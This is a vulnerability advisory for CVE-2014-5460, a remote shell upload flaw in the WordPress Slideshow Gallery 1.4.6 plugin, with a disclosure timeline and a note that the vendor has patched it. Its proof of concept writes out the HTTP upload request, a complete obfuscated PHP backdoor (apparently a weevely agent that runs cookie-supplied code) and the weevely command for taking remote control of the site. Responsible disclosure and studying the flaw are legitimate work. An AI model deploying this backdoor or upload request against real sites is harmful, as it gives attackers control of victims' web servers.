WordPress Slideshow Gallery 1.4.6 Shell Upload Vulnerability (CVE-2014-5460)

WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability.

Vendor Homepage: http://tribulant.com/
Software: Slideshow Gallery
Version: 1.4.6
Software Link: http://downloads.wordpress.org/plugin/slideshow-gallery.1.4.6.zip
Tested on: Windows 7 OS, Wordpress 3.9.2 and Chrome Browser.

Description:

I found a serious security vulnerability in the Slideshow Gallery plugin. This bug allows an attacker to upload any php file remotely to the vulnerable website (administrator by default).

I have tested and verified that having the current version of the plugin installed in a WordPress installation will allow any registered user (Administrator, Editor, Author, Contributor and Subscriber), to upload a PHP shell to exploit the host system. 

Backdoor location: http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php

Today (2014-08-29), I did the notification to vendor and they gave me feedback about the vulnerability by email. The vendor has released a patch a few hours ago. (SlideShow Gallery version 1.4.7 at https://wordpress.org/plugins/slideshow-gallery/changelog).

Slideshow Gallery 1.4.7
FIX: Possible shell exploit by uploading PHP file as slide

Proof of Concept (PoC):

1.An attacker uploads a PHP shell file (i.e. backdoor.php):

POST http://192.168.31.128/wordpress/wp-admin/admin.php?page=slideshow-slides&method=save HTTP/1.1
Content-Type: multipart/form-data
Content-Disposition: form-data; name="image_file"; filename="backdoor.php"
Content-Type: application/octet-stream
<?php
$kvgk = str_replace("y","","ysytyry_yreypylyayce");
$dawj="pdGV4cGxvaXQnO2VzhjaGzh8gJzwnLiRrzhLic+JzzhtldmFsKGJhc2U2NF9kZWNvZGUz";
$asrp="gnJywnKycpLCBqb2luKGFycmF5X3NsaWNlKCRhLCRjKzhCRhKS0zKSkpKSk7ZWzhNobyAnPC8nLzhiRrLic+Jzt9";
$gxfr="hocHJlZ19yzhZXBsYzhWNlKzhGFycmF5KCcvW15cdz1cc1zh0vJywnzhLzh1xzzhLycpLCBhcnJheSzh";
$fdcd="JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihzhyZXNldCgkYSk9PSd3zhaCcgJiYgJGMzhoJGEpPjMpezhyRrPSd";
$uuod = $kvgk("j", "", "bjase6j4j_jdjejcjojde");
$qcon = $kvgk("av","","avcraveaavteav_avfavuavnavcavtiavoavn");
$rpgy = $qcon('', $uuod($kvgk("zh", "", $fdcd.$dawj.$gxfr.$asrp))); $rpgy();
?>

2.The backdoor is located at http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php
3.The attacker uses a security tool (i.e. weevely) in order to communicate with the backdoor.

#weevely http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php whitexploit

4.Now the attacker has a “telnet-like console”. Finally, the attacker has the remote control of the vulnerable website.

Vulnerability Disclosure Timeline:

2014-08-28: Discovered vulnerability
2014-08-29: Vendor Notification (support@tribulant.com)
2014-08-29: Vendor Response/Feedback
2014-08-29: Vendor Fix/Patch
2014-08-30: Public Disclosure

Found by: Jesús Ramírez Pichardo
@whitexploit
http://whitexploit.blogspot.mx/

Date: 2014-08-28

Vulnerability Advisory and Proof of Concept (PDF).
Video demostración del ataque CVE-2014-5460.